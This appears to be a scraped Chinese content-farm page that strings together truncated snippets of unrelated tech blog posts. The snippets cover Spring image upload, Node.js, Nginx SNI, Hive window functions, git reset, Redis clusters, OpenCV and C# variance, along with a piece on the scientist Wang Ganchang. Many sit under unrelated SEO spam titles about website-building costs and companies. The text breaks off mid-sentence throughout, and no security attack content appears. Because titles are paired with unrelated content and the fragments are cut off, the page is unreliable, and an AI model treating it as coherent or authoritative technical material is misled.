9月26日,华为云CodeArts Board获得了中国信通院《云上软件研发效能度量分级模型》的先进级最高级评估,达到了软件研发效能度量平台评估的通用效能度量能力、组织效能模型、项目效能模型、资源效能模型、个人效能模型、研发效能评价模型、项目管理域、开发…...
图像上传功能实现
一、后端 文件存放在images.path路径下 package com.like.common;import jakarta.servlet.ServletOutputStream; import jakarta.servlet.http.HttpServletResponse; import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annot…...
03_Node.js模块化开发
1 Node.js的基本使用 1.1 NPM nodejs安装完成后,会跟随着自动安装另外一个工具npm。 NPM的全称是Node Package Manager,是一个NodeJS包管理和分发工具,已经成为了非官方的发布Node模块(包)的标准。 2020年3月17日&…...
Nginx支持SNI证书,已经ssl_server_name的使用
整理了一些网上的资料,这里记录一下,供大家参考 什么是SNI? 传统的应用场景中,一台服务器对应一个IP地址,一个域名,使用一张包含了域名信息的证书。随着云计算技术的普及,在云中的虚拟机有了一…...
Hive【Hive(六)窗口函数】
窗口函数(window functions) 概述 定义 窗口函数能够为每行数据划分 一个窗口,然后对窗口范围内的数据进行计算,最后将计算结果返回给该行数据。 语法 窗口函数的语法主要包括 窗口 和 函数 两个部分。其中窗口用于定义计算范围…...
正规网站建设费用/谷歌seo零基础教程
来源 | 晓艳的科技坊本文仅用于学术分享,若有侵权,请联系删除一、中国核科学奠基人——王淦昌科学地位:中国核科学的奠基人和开拓者之一、中国科学院院士、两弹一星功勋奖章"获得者。世界激光惯性约束核聚变理论和研究的创始人之一。 突…...
惠州哪家做网站比较好/中国新闻网
参考:https://blog.csdn.net/qq_43328040/article/details/109169733 实际测试发现合并操作有错,参考其他资料修改下 准备:一个电影视频 1.avi 运行1,分拆,取前2000帧保存到img目录 import cv2 cap cv2.VideoCaptu…...
网站开发的安全性原则/搜索引擎营销的英文简称
git reset soft,hard,mixed之区别深解 git reset --hard 强制更新覆盖本地 GIT reset命令,似乎让人很迷惑,以至于误解,误用。但是事实上不应该如此难以理解,只要你理解到这个命令究竟在干什么。 首先我们来看几个术语 HEAD这是当…...
花都建设网站/百度旗下的所有产品
容量不够 进行扩容 应对并发写操作 去中心化集群配置 意思就是每一台服务器都可以作为集群的入口 服务器之间相互连通 搭建redis集群demo 集群配置 需要再各自的redis.conf中配置 linux 替换文件中所有的6379为6380 配置文件改好后 启动他们 准备将这多个合为一个集群 …...
网站建设公司组织架构/新乡seo顾问
Variance变性泛型的某个方面会让人感到奇怪,比如下面的代码是不合法的—— IList<string> strings new List<string>(); IList<object> objects strings; 第二个赋值是不允许的,因为strings和objects的元素类型并不一样。这样…...
无锡市滨湖区建设局网站/班级优化大师官方网站
题目描述 给你一个整数数组 nums ,其中 nums[i] 表示第 i 个袋子里球的数目。同时给你一个整数 maxOperations 。 你可以进行如下操作至多 maxOperations 次: 选择任意一个袋子,并将袋子里的球分到 2 个新的袋子中,每个袋子里都有…...